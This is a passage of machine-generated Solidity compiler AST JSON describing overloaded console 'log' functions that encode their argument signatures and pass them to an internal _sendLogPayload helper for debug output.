:[],"body":{"id":26892,"nodeType":"Block","src":"27951:109:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e743235362c626f6f6c2c737472696e672c6164647265737329","id":26884,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"28001:34:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_ef529018e81552426f837435fb92b39b88965df2736546faff28c9f06e5f58b5","typeString":"literal_string \"log(uint256,bool,string,address)\""},"value":"log(uint256,bool,string,address)"},{"id":26885,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26872,"src":"28037:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":26886,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26874,"src":"28041:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":26887,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26876,"src":"28045:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":26888,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26878,"src":"28049:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_ef529018e81552426f837435fb92b39b88965df2736546faff28c9f06e5f58b5","typeString":"literal_string \"log(uint256,bool,string,address)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":26882,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"27977:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":26883,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"27981:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"27977:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":26889,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"27977:75:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":26881,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"27961:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":26890,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"27961:92:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":26891,"nodeType":"ExpressionStatement","src":"27961:92:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"27882:3:15","parameters":{"id":26879,"nodeType":"ParameterList","parameters":[{"constant":false,"id":26872,"mutability":"mutable","name":"p0","nameLocation":"27894:2:15","nodeType":"VariableDeclaration","scope":26893,"src":"27886:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":26871,"name":"uint256","nodeType":"ElementaryTypeName","src":"27886:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":26874,"mutability":"mutable","name":"p1","nameLocation":"27903:2:15","nodeType":"VariableDeclaration","scope":26893,"src":"27898:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":26873,"name":"bool","nodeType":"ElementaryTypeName","src":"27898:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":26876,"mutability":"mutable","name":"p2","nameLocation":"27921:2:15","nodeType":"VariableDeclaration","scope":26893,"src":"27907:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":26875,"name":"string","nodeType":"ElementaryTypeName","src":"27907:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":26878,"mutability":"mutable","name":"p3","nameLocation":"27933:2:15","nodeType":"VariableDeclaration","scope":26893,"src":"27925:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":26877,"name":"address","nodeType":"ElementaryTypeName","src":"27925:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"27885:51:15"},"returnParameters":{"id":26880,"nodeType":"ParameterList","parameters":[],"src":"27951:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":26916,"nodeType":"FunctionDefinition","src":"28066:176:15","nodes":[],"body":{"id":26915,"nodeType":"Block","src":"28135:107:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e743235362c626f6f6c2c626f6f6c2c75696e7432353629","id":26907,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"28185:32:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_7464ce2380e6490f75dd524dd03612157b27bca22ecbf1bc2f0ca22ac41015d1","typeString":"literal_string \"log(uint256,bool,bool,uint256)\""},"value":"log(uint256,bool,bool,uint256)"},{"id":26908,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26895,"src":"28219:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":26909,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26897,"src":"28223:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":26910,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26899,"src":"28227:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":26911,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26901,"src":"28231:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_7464ce2380e6490f75dd524dd03612157b27bca22ecbf1bc2f0ca22ac41015d1","typeString":"literal_string \"log(uint256,bool,bool,uint256)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":26905,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"28161:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":26906,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"28165:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"28161:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":26912,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"28161:73:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":26904,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"28145:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":26913,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"28145:90:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":26914,"nodeType":"ExpressionStatement","src":"28145:90:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"28075:3:15","parameters":{"id":26902,"nodeType":"ParameterList","parameters":[{"constant":false,"id":26895,"mutability":"mutable","name":"p0","nameLocation":"28087:2:15","nodeType":"VariableDeclaration","scope":26916,"src":"28079:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":26894,"name":"uint256","nodeType":"ElementaryTypeName","src":"28079:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":26897,"mutability":"mutable","name":"p1","nameLocation":"28096:2:15","nodeType":"VariableDeclaration","scope":26916,"src":"28091:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":26896,"name":"bool","nodeType":"ElementaryTypeName","src":"28091:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":26899,"mutability":"mutable","name":"p2","nameLocation":"28105:2:15","nodeType":"VariableDeclaration","scope":26916,"src":"28100:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":26898,"name":"bool","nodeType":"ElementaryTypeName","src":"28100:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":26901,"mutability":"mutable","name":"p3","nameLocation":"28117:2:15","nodeType":"VariableDeclaration","scope":26916,"src":"28109:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":26900,"name":"uint256","nodeType":"ElementaryTypeName","src":"28109:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"28078:42:15"},"returnParameters":{"id":26903,"nodeType":"ParameterList","parameters":[],"src":"28135:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":26939,"nodeType":"FunctionDefinition","src":"28248:181:15","nodes":[],"body":{"id":26938,"nodeType":"Block","src":"28323:106:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e743235362c626f6f6c2c626f6f6c2c737472696e6729","id":26930,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"28373:31:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_dddb956172e374c580dd136b5b8151c6400d22ece6b561a1010b6b9e902dd439","typeString":"literal_string \"log(uint256,bool,bool,string)\""},"value":"log(uint256,bool,bool,string)"},{"id":26931,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26918,"src":"28406:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":26932,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26920,"src":"28410:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":26933,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26922,"src":"28414:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":26934,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26924,"src":"28418:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_dddb956172e374c580dd136b5b8151c6400d22ece6b561a1010b6b9e902dd439","typeString":"literal_string \"log(uint256,bool,bool,string)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":26928,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"28349:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":26929,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"28353:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"28349:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":26935,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"28349:72:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":26927,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"28333:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":26936,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"28333:89:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":26937,"nodeType":"ExpressionStatement","src":"28333:89:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"28257:3:15","parameters":{"id":26925,"nodeType":"ParameterList","parameters":[{"constant":false,"id":26918,"mutability":"mutable","name":"p0","nameLocation":"28269:2:15","nodeType":"VariableDeclaration","scope":26939,"src":"28261:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":26917,"name":"uint256","nodeType":"ElementaryTypeName","src":"28261:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":26920,"mutability":"mutable","name":"p1","nameLocation":"28278:2:15","nodeType":"VariableDeclaration","scope":26939,"src":"28273:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":26919,"name":"bool","nodeType":"ElementaryTypeName","src":"28273:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":26922,"mutability":"mutable","name":"p2","nameLocation":"28287:2:15","nodeType":"VariableDeclaration","scope":26939,"src":"28282:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":26921,"name":"bool","nodeType":"ElementaryTypeName","src":"28282:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":26924,"mutability":"mutable","name":"p3","nameLocation":"28305:2:15","nodeType":"VariableDeclaration","scope":26939,"src":"28291:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":26923,"name":"string","nodeType":"ElementaryTypeName","src":"28291:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"28260:48:15"},"returnParameters":{"id":26926,"nodeType":"ParameterList","parameters":[],"src":"28323:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":26962,"nodeType":"FunctionDefinition","src":"28435:170:15","nodes":[],"body":{"id":26961,"nodeType":"Block","src":"28501:104:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e743235362c626f6f6c2c626f6f6c2c626f6f6c29","id":26953,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"28551:29:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_b6f577a1520f8fa7d40eaff9dcd5f293e28b7606bd07d0a450b13db93da80473","typeString":"literal_string \"log(uint256,bool,bool,bool)\""},"value":"log(uint256,bool,bool,bool)"},{"id":26954,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26941,"src":"28582:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":26955,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26943,"src":"28586:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":26956,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26945,"src":"28590:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":26957,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26947,"src":"28594:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_b6f577a1520f8fa7d40eaff9dcd5f293e28b7606bd07d0a450b13db93da80473","typeString":"literal_string \"log(uint256,bool,bool,bool)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":26951,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"28527:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":26952,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"28531:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"28527:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":26958,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"28527:70:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":26950,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"28511:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":26959,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"28511:87:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":26960,"nodeType":"ExpressionStatement","src":"28511:87:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"28444:3:15","parameters":{"id":26948,"nodeType":"ParameterList","parameters":[{"constant":false,"id":26941,"mutability":"mutable","name":"p0","nameLocation":"28456:2:15","nodeType":"VariableDeclaration","scope":26962,"src":"28448:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":26940,"name":"uint256","nodeType":"ElementaryTypeName","src":"28448:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":26943,"mutability":"mutable","name":"p1","nameLocation":"28465:2:15","nodeType":"VariableDeclaration","scope":26962,"src":"28460:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":26942,"name":"bool","nodeType":"ElementaryTypeName","src":"28460:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":26945,"mutability":"mutable","name":"p2","nameLocation":"28474:2:15","nodeType":"VariableDeclaration","scope":26962,"src":"28469:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":26944,"name":"bool","nodeType":"ElementaryTypeName","src":"28469:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":26947,"mutability":"mutable","name":"p3","nameLocation":"28483:2:15","nodeType":"VariableDeclaration","scope":26962,"src":"28478:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":26946,"name":"bool","nodeType":"ElementaryTypeName","src":"28478:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"28447:39:15"},"returnParameters":{"id":26949,"nodeType":"ParameterList","parameters":[],"src":"28501:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":26985,"nodeType":"FunctionDefinition","src":"28611:176:15","nodes":[],"body":{"id":26984,"nodeType":"Block","src":"28680:107:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e743235362c626f6f6c2c626f6f6c2c6164647265737329","id":26976,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"28730:32:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_69640b598ea5b9e4e68e932871cb8a509ce832c6718a902773532568b8c95c31","typeString":"literal_string \"log(uint256,bool,bool,address)\""},"value":"log(uint256,bool,bool,address)"},{"id":26977,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26964,"src":"28764:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":26978,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26966,"src":"28768:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":26979,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26968,"src":"28772:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":26980,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26970,"src":"28776:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_69640b598ea5b9e4e68e932871cb8a509ce832c6718a902773532568b8c95c31","typeString":"literal_string \"log(uint256,bool,bool,address)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":26974,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"28706:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":26975,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"28710:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"28706:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":26981,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"28706:73:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":26973,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"28690:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":26982,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"28690:90:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":26983,"nodeType":"ExpressionStatement","src":"28690:90:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"28620:3:15","parameters":{"id":26971,"nodeType":"ParameterList","parameters":[{"constant":false,"id":26964,"mutability":"mutable","name":"p0","nameLocation":"28632:2:15","nodeType":"VariableDeclaration","scope":26985,"src":"28624:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":26963,"name":"uint256","nodeType":"ElementaryTypeName","src":"28624:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":26966,"mutability":"mutable","name":"p1","nameLocation":"28641:2:15","nodeType":"VariableDeclaration","scope":26985,"src":"28636:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":26965,"name":"bool","nodeType":"ElementaryTypeName","src":"28636:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":26968,"mutability":"mutable","name":"p2","nameLocation":"28650:2:15","nodeType":"VariableDeclaration","scope":26985,"src":"28645:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":26967,"name":"bool","nodeType":"ElementaryTypeName","src":"28645:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":26970,"mutability":"mutable","name":"p3","nameLocation":"28662:2:15","nodeType":"VariableDeclaration","scope":26985,"src":"28654:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":26969,"name":"address","nodeType":"ElementaryTypeName","src":"28654:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"28623:42:15"},"returnParameters":{"id":26972,"nodeType":"ParameterList","parameters":[],"src":"28680:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":27008,"nodeType":"FunctionDefinition","src":"28793:182:15","nodes":[],"body":{"id":27007,"nodeType":"Block","src":"28865:110:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e743235362c626f6f6c2c616464726573732c75696e7432353629","id":26999,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"28915:35:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_078287f5d654caee11cca90bb8c074a9529509cd07319dc17a93fa036ea5ea88","typeString":"literal_string \"log(uint256,bool,address,uint256)\""},"value":"log(uint256,bool,address,uint256)"},{"id":27000,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26987,"src":"28952:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":27001,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26989,"src":"28956:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":27002,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26991,"src":"28960:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":27003,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26993,"src":"28964:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_078287f5d654caee11cca90bb8c074a9529509cd07319dc17a93fa036ea5ea88","typeString":"literal_string \"log(uint256,bool,address,uint256)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":26997,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"28891:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":26998,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"28895:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"28891:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":27004,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"28891:76:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes 